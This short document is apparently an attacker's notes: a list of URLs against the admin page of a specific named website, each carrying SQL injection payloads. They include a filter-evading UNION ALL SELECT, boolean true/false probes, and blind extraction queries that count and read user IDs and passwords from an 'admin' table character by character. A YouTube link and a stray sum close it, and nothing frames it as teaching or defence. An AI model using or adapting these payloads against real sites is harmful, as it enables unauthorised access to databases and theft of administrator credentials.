http://www.vectus.in/admin/index.php?id=20/**/uNion/**/aLL/**/Select/**/1,2,3,4,5,6,7
http://www.vectus.in/admin/index.php?id=20+and+1=!
http://www.vectus.in/admin/index.php?id=20+and+1=1
http://www.vectus.in/admin/index.php?id=20+and+1=0
http://www.vectus.in/admin/index.php?id=20+aNd+1=1
http://www.vectus.in/admin/index.php?id=20+aNd+1=true
http://www.vectus.in/admin/index.php?id=20+aNd+1=false



http://www.vectus.in/admin/index.php?id=20+aNd(selectcount(UserId)%20from%20admin)
http://www.vectus.in/admin/index.php?id=20+aNd(selectcount(password)%20from%20admin)
http://www.vectus.in/admin/index.php?id=20+aNd(selectsubstring(userid,2,1) from admin)='d'

https://www.youtube.com/watch?v=YG43ARFr8MY&t=44s

7+40+16